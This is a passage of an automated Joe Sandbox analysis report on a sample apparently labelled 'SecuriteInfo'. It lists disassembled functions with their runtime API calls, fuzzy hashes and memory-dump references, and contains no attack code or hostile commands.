Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: T@12
String ID: a0
API String ID: 456891419-3188653782
Opcode ID: 23701544b8d299c2de1e17a44fb7a57d6108f61da0f65b09e4f6c1ac8c684335
Instruction ID: 63b74e9b4318c0308271bfbf20c259434ca947b5f0fa4518836104f86d8e1407
Opcode Fuzzy Hash: 23701544b8d299c2de1e17a44fb7a57d6108f61da0f65b09e4f6c1ac8c684335
Instruction Fuzzy Hash: 6311FE70D452A76AFB20BAB68C4CF7BBAFCEFC2754F219414A525E7141D728C941CAB0

Function 6D069BB5 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6D069BCF

Part of subcall function 6D069D66: __FF_MSGBANNER.LIBCMT ref: 6D069D7F
Part of subcall function 6D069D66: __NMSG_WRITE.LIBCMT ref: 6D069D86
Part of subcall function 6D069D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6D069BD4,6D001290,4E8A916F), ref: 6D069DAB

std::exception::exception.LIBCMT ref: 6D069C04
std::exception::exception.LIBCMT ref: 6D069C1E
__CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 17a39b3a40cfd9c3b41b28bcee23fce8b146182ad16b5779d8861d95add6aa4b
Instruction ID: 19f19a382ab99582958ac4ae3c8156e5fef3391101b43845766f053ab35b499b
Opcode Fuzzy Hash: 17a39b3a40cfd9c3b41b28bcee23fce8b146182ad16b5779d8861d95add6aa4b
Instruction Fuzzy Hash: 7FF0C23140458EAEFF00EBA4ED10BAD7AF9AF42728F190419E50097692DFB08A45D7B1

Function 6D016C60 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 6D016C73
SafeArrayAccessData.OLEAUT32(00000000,6D016C3C), ref: 6D016C87
_memmove.LIBCMT ref: 6D016C9A
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 6D016CA3

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_memmove
String ID:
API String ID: 3147195435-0
Opcode ID: 7a275b094932e2f6942b50a9aa41c938e7e5bd31b3133f6c00552c04707ba9e3
Instruction ID: 19fb91f07377fb4f7974db1e31e81cb0018aef990084f111fda87af35ec3d35a
Opcode Fuzzy Hash: 7a275b094932e2f6942b50a9aa41c938e7e5bd31b3133f6c00552c04707ba9e3
Instruction Fuzzy Hash: E2F0FE75204218BBEF10AF95DC89F977BADEF9A766F018015FA188B240E771D5009BB1

Function 6D031FD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D032206
__CxxThrowException@8.LIBCMT ref: 6D032221

Part of subcall function 6D036480: __CxxThrowException@8.LIBCMT ref: 6D036518
Part of subcall function 6D036480: __CxxThrowException@8.LIBCMT ref: 6D036558

Strings

ILProtector, xrefs: 6D032045

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw$_mallocstd::exception::exception
String ID: ILProtector
API String ID: 84431791-1153028812
Opcode ID: 3f4841735bd6884a78fb4707834ea61924aa4096d9451e29faf42ae6fafce360
Instruction ID: faa55d19cf99a365876fb92a6aae8b9dab3bb42bd4ec463c1c1f3eea3c79a94f
Opcode Fuzzy Hash: 3f4841735bd6884a78fb4707834ea61924aa4096d9451e29faf42ae6fafce360
Instruction Fuzzy Hash: 8B712875909259DFDB24CFA8C844BEEBBB4FB49300F1581AAD51AA7341DB306A44CFA1

Function 6D019110 Relevance: 5.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D01913B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6D01915C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 6D019170
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 6D019191

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7f373a0f620d4aa4cd29d1061e72079316845e49b4069bc2989eebdd8db1586f
Instruction ID: 9df15a390fbf57231789cd7b443bcf2c5f7a79aba63b18ca23dd8b7d974b7a3d
Opcode Fuzzy Hash: 7f373a0f620d4aa4cd29d1061e72079316845e49b4069bc2989eebdd8db1586f
Instruction Fuzzy Hash: 0B4130769042099FDB04DF99D9849EEBBF5FF89310B11855ED926AB200D730EA05CFA1

Function 6D018E20 Relevance: 4.7, APIs: 3, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6D018E89
LeaveCriticalSection.KERNEL32(?,00000000), ref: 6D018EAD
_memset.LIBCMT ref: 6D018ED2

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: CriticalSection$EnterLeave_memset
String ID:
API String ID: 3751686142-0
Opcode ID: 603c16a7f228876de8e1546f7b214271ee616a75943d3018879128f40367e7d2
Instruction ID: 08838a36cbecb08b513d5eda3277778d8df86e7635e796371af42d141699c855
Opcode Fuzzy Hash: 603c16a7f228876de8e1546f7b214271ee616a75943d3018879128f40367e7d2
Instruction Fuzzy Hash: 89515CB4A04205AFDB08CF98C890F6AB7B6FF89304F11855DE91A9B781D731EE55CB90

Function 6D01D920 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6D01D949
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 6D01D96C
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D01D9CF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 47068afe6b398f81a5fef9099912a0801232449f30a648780b9fc6c9dc7a2f7a
Instruction ID: 86ef9455a07bcaccf3c0c48b01909d4c1643aea12948772c896ee1b5bf52aa18
Opcode Fuzzy Hash: 47068afe6b398f81a5fef9099912a0801232449f30a648780b9fc6c9dc7a2f7a
Instruction Fuzzy Hash: 6A214A75604219AFEB11CF98CC84FAB77A9EF8A740F104198E945DB244D7B1E901CBB1

Function 6D02DB10 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6D02DB2D
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6D02DB45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6D02DBA2

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 3fb8620754b294a669f4f9415037934e68b15ba9ac2049ffe5ec3e7d7e7e0d50
Instruction ID: 7506d96f46850b0d1672e40e097574bc37d4a6611147d4311e2c51b91ab04fac
Opcode Fuzzy Hash: 3fb8620754b294a669f4f9415037934e68b15ba9ac2049ffe5ec3e7d7e7e0d50
Instruction Fuzzy Hash: F4118E75642205AFEB00DF69C898F9ABBB8BF5A311F048159E9089B301D730E800CBE0

Function 6D02E2CE Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

|m, xrefs: 6D02E3B6

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _malloc
String ID: |m
API String ID: 1579825452-3988610331
Opcode ID: 841bb0086536baf03996fe898c6dd0cb0a383e6086b28637b1532409c8f6a4dc
Instruction ID: fe1c9d0f26096f5a7afb66456d61fb309aed0a2b9d39d4983653be0bbd094221
Opcode Fuzzy Hash: 841bb0086536baf03996fe898c6dd0cb0a383e6086b28637b1532409c8f6a4dc
Instruction Fuzzy Hash: 9D817EB198D3828FFB20DFB4D89571EB7E0BB41304F56496ED248CB291E77598448B63

Function 6D033EB0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D034042

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

__CxxThrowException@8.LIBCMT ref: 6D034059

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C04
Part of subcall function 6D069BB5: std::exception::exception.LIBCMT ref: 6D069C1E
Part of subcall function 6D069BB5: __CxxThrowException@8.LIBCMT ref: 6D069C2F

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 2813683038-0
Opcode ID: 1b3566bec9514ab041cef035d815aca31b117e30f0a5129a8791392c23c470d2
Instruction ID: 56f6ac41a5fe63b0855bf49d379afc80350dc786c9b291b9f86fb184cafd0ee5
Opcode Fuzzy Hash: 1b3566bec9514ab041cef035d815aca31b117e30f0a5129a8791392c23c470d2
Instruction Fuzzy Hash: E391D3B1908701AFE701CF99D885B5EFBF8FF84340F16895AE5149B290E7B1D500CBA2

Function 6D01BDF7 Relevance: 3.2, APIs: 2, Instructions: 200COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6D01BE2D
IsBadReadPtr.KERNEL32(00000000,00000008,?,?,?), ref: 6D01BE6D

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArrayDestroyReadSafe
String ID:
API String ID: 616443815-0
Opcode ID: ebf947a88d1877b22ab9e8c5092481bb7d1ea791355dccaf1e2e4d379fa97e30
Instruction ID: 51a07c98c7603a2e27472123cb9983b0a595ce6c4261573e4dd53d5852c5a496
Opcode Fuzzy Hash: ebf947a88d1877b22ab9e8c5092481bb7d1ea791355dccaf1e2e4d379fa97e30
Instruction Fuzzy Hash: 4C71BCB090C6975EFB218EA98C40779BBF1BB4B224F18839CD9A597396C731D442CB51

Function 6D0162C0 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D016466

Part of subcall function 6D069533: std::exception::_Copy_str.LIBCMT ref: 6D06954E

__CxxThrowException@8.LIBCMT ref: 6D01647D

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrow_mallocstd::exception::_std::exception::exception
String ID:
API String ID: 2299493649-0
Opcode ID: 67a28b8cd5e09b393766e6e22b896532a10d045da4b4ed90cb75cc566ce2e1ff
Instruction ID: 8e5b174d7116d1c658d635a1018b76c9c9833799e5ef8c4b3008e7df49c156c0
Opcode Fuzzy Hash: 67a28b8cd5e09b393766e6e22b896532a10d045da4b4ed90cb75cc566ce2e1ff
Instruction Fuzzy Hash: E6515AB190C3419FE700CF94DD85B5ABBE4BB85740F81492EFA998B290E771D904CBA3

Function 6D02D2E0 Relevance: 3.1, APIs: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D02D3E8
__CxxThrowException@8.LIBCMT ref: 6D02D3FF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 61480ed46764ec29323f96a085d3890115147b5878fe83168ed1b9ca04b6d2a2
Instruction ID: 1d52bfe0a60cc3f4d97d82186efca2a0e7d324bfeca5845af7f42db170e0fcbf
Opcode Fuzzy Hash: 61480ed46764ec29323f96a085d3890115147b5878fe83168ed1b9ca04b6d2a2
Instruction Fuzzy Hash: 2A314A715097459FD704CF28D480A9ABBF4FF89714F508A2EF4558B790E731EA06CBA2

Function 6D018400 Relevance: 3.0, APIs: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 6D069BB5: _malloc.LIBCMT ref: 6D069BCF

std::exception::exception.LIBCMT ref: 6D018449
__CxxThrowException@8.LIBCMT ref: 6D01845E

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: fecfbca1c8ebeff65d1861538b09ee496e1aea429e1419fb7db0af1f28598095
Instruction ID: a39ffed55a5a188f7b8a604f85c1f80216c418eb8925e4ea7f0b9c0aa94fc6a5
Opcode Fuzzy Hash: fecfbca1c8ebeff65d1861538b09ee496e1aea429e1419fb7db0af1f28598095
Instruction Fuzzy Hash: 8901C874504208AFD708DF94E890DAAB7F5FF58300B51C1ADDD1A4B750EB30EA05CB95

Function 05CC0002 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

Te^q, xrefs: 05CC0077
TJcq, xrefs: 05CC008F

Memory Dump Source

Source File: 00000000.00000002.1768998212.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: TJcq$Te^q
API String ID: 0-918715239
Opcode ID: 19c5d01759292fd65d367951ded5bd7a31d5aaeba5f62651ae787a485d001be8
Instruction ID: 84d1fc4721c848042062c08b180db5935b8956702af1fab86a5cd49b98ee4875
Opcode Fuzzy Hash: 19c5d01759292fd65d367951ded5bd7a31d5aaeba5f62651ae787a485d001be8
Instruction Fuzzy Hash: 9631F131A093818FC716977888557AE7FB2EF87200F1905DFC086DB3A3DA294C0983A2

Function 6D018D60 Relevance: 2.6, APIs: 2, Instructions: 78COMMON

Download Yara Rule

APIs

